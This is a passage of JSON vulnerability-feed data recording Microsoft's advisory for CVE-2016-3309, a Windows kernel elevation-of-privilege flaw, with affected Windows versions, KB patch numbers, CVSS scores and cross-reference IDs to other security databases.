"KB3177725", "msplatform": ""}, {"name": "Windows Server 2008 for Itanium-Based Systems Service Pack 2", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2008 for 32-bit Systems Service Pack 2 (Server Core installation)", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2008 for 32-bit Systems Service Pack 2", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows RT 8.1", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows 8.1 for x64-based systems", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows 8.1 for 32-bit systems", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows 7 for x64-based Systems Service Pack 1", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows 7 for 32-bit Systems Service Pack 1", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows 10 Version 1511 for x64-based Systems", "kbSupersedence": "KB3172985", "kb": "KB3176493", "msplatform": ""}, {"name": "Windows 10 Version 1511 for 32-bit Systems", "kbSupersedence": "KB3172985", "kb": "KB3176493", "msplatform": ""}, {"name": "Windows 10 for x64-based Systems", "kbSupersedence": "KB3163912", "kb": "KB3176492", "msplatform": ""}, {"name": "Windows 10 for 32-bit Systems", "kbSupersedence": "KB3163912", "kb": "KB3176492", "msplatform": ""}, {"name": "Windows Server 2008 R2 for Itanium-Based Systems Service Pack 1", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}], "vendorCvss": {}}, "lastseen": "2021-09-10T20:44:45", "differentElements": ["msAffectedSoftware"], "edition": 28}, {"bulletin": {"id": "MS:CVE-2016-3309", "vendorId": null, "hash": "13fc00f58404e6f4ff1e00cbd088e3aa", "type": "mscve", "bulletinFamily": "microsoft", "title": "Windows Kernel Elevation of Privilege Vulnerability", "description": "An elevation of privilege vulnerability exists when the Windows kernel fails to properly handle objects in memory. An attacker who successfully exploited this vulnerability could run arbitrary code in kernel mode. An attacker could then install programs; view, change, or delete data; or create new accounts with full user rights.\n\nTo exploit this vulnerability, an attacker would first have to log on to the system. An attacker could then run a specially crafted application to take control of an affected system.\n\nThe update addresses the vulnerability by correcting how the Windows kernel handles objects in memory.\n", "published": "2016-08-09T07:00:00", "modified": "2016-08-09T07:00:00", "cvss": {"score": 7.2, "vector": "AV:L/AC:L/Au:N/C:C/I:C/A:C"}, "cvss2": {"cvssV2": {"accessComplexity": "LOW", "accessVector": "LOCAL", "authentication": "NONE", "availabilityImpact": "COMPLETE", "baseScore": 7.2, "confidentialityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "vectorString": "AV:L/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0"}, "exploitabilityScore": 3.9, "impactScore": 10.0, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "severity": "HIGH", "userInteractionRequired": false}, "cvss3": {"cvssV3": {"attackComplexity": "LOW", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "baseScore": 7.8, "baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "scope": "UNCHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.0"}, "exploitabilityScore": 1.8, "impactScore": 5.9}, "href": "https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2016-3309", "reporter": "Microsoft", "references": [], "cvelist": ["CVE-2016-3309"], "immutableFields": [], "lastseen": "2021-09-11T08:48:01", "history": [], "viewCount": 1, "enchantments": {"dependencies": {"references": [{"type": "cve", "idList": ["CVE-2016-3309"]}, {"type": "symantec", "idList": ["SMNTC-92297"]}, {"type": "zdi", "idList": ["ZDI-16-449"]}, {"type": "exploitdb", "idList": ["EDB-ID:42960"]}, {"type": "exploitpack", "idList": ["EXPLOITPACK:4A77EECB9028940AD78AE18FF52B3DC8"]}, {"type": "zdt", "idList": ["1337DAY-ID-28749"]}, {"type": "mskb", "idList": ["KB3178466"]}, {"type": "openvas", "idList": ["OPENVAS:1361412562310808784"]}, {"type": "nessus", "idList": ["SMB_NT_MS16-098.NASL"]}, {"type": "kaspersky", "idList": ["KLA10856", "KLA11908"]}], "modified": "2021-09-11T08:48:01", "rev": 2}, "score": {"value": 6.7, "vector": "NONE", "modified": "2021-09-11T08:48:01", "rev": 2}}, "objectVersion": "1.6", "kbList": ["KB3176493", "KB3168965", "KB3176495", "KB3176492", &qu
